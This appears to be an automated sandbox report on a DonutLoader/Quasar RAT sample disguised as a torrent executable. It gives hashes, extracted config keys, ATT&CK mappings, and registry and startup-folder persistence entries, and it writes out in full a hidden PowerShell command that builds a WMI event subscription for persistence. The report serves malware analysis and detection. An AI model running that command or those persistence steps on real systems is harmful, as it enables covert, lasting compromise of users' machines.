donutloader | 77418877695d1503d574b65ccb18f24fc0e963ec78659e7cabc2dbf91bec009d

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/11/2026, 03:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Torrent (1).exe
Size 1.5MB
Sample261114-d65b3sct2y
SHA256 77418877695d1503d574b65ccb18f24fc0e963ec78659e7cabc2dbf91bec009d
MD5 9ebc7984d684450c079c969765859ad8
SHA1 cb42fb2cc41eff4c92e82ef876b8cba3a36c6d19
SHA512 ec95ce8d03b601f2b7dc6e35cb7098e149693dc12b8824cf672bdaf2c130c37f4c29f895ddd178000313f8d373082ee37134d7e6313ad1497c4291e968b39ceb
SSDEEP 24576:KDv9SSETPi8Z/n8MLuCnAavJaY+aAQM66XvGFUtNwpoV6Xjt9vmQ:KDREji8BnBuaHvPFMNeFuwXPvmQ
TLSH
T14275339DD1488EDCD75FB3BE45EF87F13629348A15008E99F0F7B17A5B2821E9A2018C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution donutloader quasar loader module persistence privilege_escalation rat spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
6D14F6DAC4C83A0E876468CF4054D970F9D50856
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral3/memory/4512-1-0x00000156DFCC0000-0x00000156DFE45000-memory.dmp	family_donutloader

PulsaRAT library module 2 IoCs

Core component of the PulsaRAT remote access trojan, implementing its command protocol for hidden remote desktop, UAC bypass, persistence, and credential theft.

rat module

resource	yara_rule
behavioral3/memory/4512-10-0x00000156F8720000-0x00000156F88A6000-memory.dmp	pulsarat_module
behavioral3/memory/4512-16-0x00000156DFF00000-0x00000156DFF30000-memory.dmp	pulsarat_module

Quasar payload 1 IoCs

resource	yara_rule
behavioral3/memory/4512-10-0x00000156F8720000-0x00000156F88A6000-memory.dmp	family_quasar

Boot or Logon Autostart Execution: Active Setup 2 TTPs 8 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}	Torrent (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}	Torrent (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}	Torrent (1).exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}	Torrent (1).exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4324	powershell.exe
4428	powershell.exe
4040	powershell.exe
2816	powershell.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe	Torrent (1).exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe	Torrent (1).exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe	Torrent (1).exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSecHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSecHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"	Torrent (1).exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Torrent (1).exe.log	Torrent (1).exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Torrent (1).exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Torrent (1).exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Torrent (1).exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Torrent (1).exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4512	Torrent (1).exe
1764	Torrent (1).exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4324	powershell.exe
4324	powershell.exe
4428	powershell.exe
4428	powershell.exe
4040	powershell.exe
4040	powershell.exe
2816	powershell.exe
2816	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	4512	Torrent (1).exe
Token: SeDebugPrivilege	2112	Torrent (1).exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeDebugPrivilege	4040	powershell.exe
Token: SeDebugPrivilege	1764	Torrent (1).exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	4228	Torrent (1).exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 4324	4512	Torrent (1).exe	83
PID 2112 wrote to memory of 4428	2112	Torrent (1).exe	88
PID 1764 wrote to memory of 4040	1764	Torrent (1).exe	104
PID 4228 wrote to memory of 2816	4228	Torrent (1).exe	107

C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
"C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Creates a file in the Startup directory
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4324

C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
"C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4428

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4792

C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
"C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4040

C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
"C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7671dad3b7c0d70b0634db7ddd8d62abf0b832d856f8cf70d23daa5f75c33db2
MD5 86deaaac5865f879308faec15a388600
SHA1 62356e417055425de8c57c718edd6dcbba15cb0b
SHA512 b49f221445b2dc339add260d5087aa615eb4877acb527e7b335d1b5ae6ddb11cdcbbea5f980adfe8510f455da6c3e6d377fab75e41d3c12a51c1faceaa929850
TLSH
T1F9119723B3CC8921CC96163A408D9C2172B282C7809EDF9F6BC0C204A0BF488CB21180
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_05gess3t.jsh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_05gess3t.jsh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

WindowsUpdateService.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateService.exe
Size 1.5MB
SHA256 77418877695d1503d574b65ccb18f24fc0e963ec78659e7cabc2dbf91bec009d
MD5 9ebc7984d684450c079c969765859ad8
SHA1 cb42fb2cc41eff4c92e82ef876b8cba3a36c6d19
SHA512 ec95ce8d03b601f2b7dc6e35cb7098e149693dc12b8824cf672bdaf2c130c37f4c29f895ddd178000313f8d373082ee37134d7e6313ad1497c4291e968b39ceb
SSDEEP 24576:KDv9SSETPi8Z/n8MLuCnAavJaY+aAQM66XvGFUtNwpoV6Xjt9vmQ:KDREji8BnBuaHvPFMNeFuwXPvmQ
TLSH
T14275339DD1488EDCD75FB3BE45EF87F13629348A15008E99F0F7B17A5B2821E9A2018C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e5e21171532631873c188b53516e679f08a49655ce2a2e376dcd3a7384ef3c04
MD5 9fd2ab8d8464245af4bd0c32050b550e
SHA1 000417ac42c7f17434946571a95f74baec153ca7
SHA512 c1530182a8a0ffb59b01a79a8ce6627bee3c67296d2003baa5377a309f219f718caee9f90baff52c36d54093ced82111f210a2c6209e4f06b5cc5f9b3cfc1345
TLSH
T15711B623F3DC8A21CC96163A408D9C2172B283CB819EDF9F6BC0D204A0BF489CB21190
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1764-60-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

Download

memory/2112-30-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

Download

memory/4228-83-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

Download

memory/4324-34-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

Download

memory/4324-3-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

Download

memory/4324-15-0x0000018B69B80000-0x0000018B69BA2000-memory.dmp

Download

memory/4324-4-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

Download

memory/4324-35-0x0000018B678D0000-0x0000018B678E0000-memory.dmp

Download

memory/4512-1-0x00000156DFCC0000-0x00000156DFE45000-memory.dmp

Download

memory/4512-36-0x00000156E0170000-0x00000156E0180000-memory.dmp

Download

memory/4512-12-0x00000156E0170000-0x00000156E0180000-memory.dmp

Download

memory/4512-10-0x00000156F8720000-0x00000156F88A6000-memory.dmp

Download

memory/4512-41-0x00000156E0170000-0x00000156E0180000-memory.dmp

Download

memory/4512-40-0x00007FF6EA880000-0x00007FF6EAA11000-memory.dmp

Download

memory/4512-33-0x00000156E01C0000-0x00000156E01F8000-memory.dmp

Download

memory/4512-11-0x00000156E0170000-0x00000156E0180000-memory.dmp

Download

memory/4512-16-0x00000156DFF00000-0x00000156DFF30000-memory.dmp

Download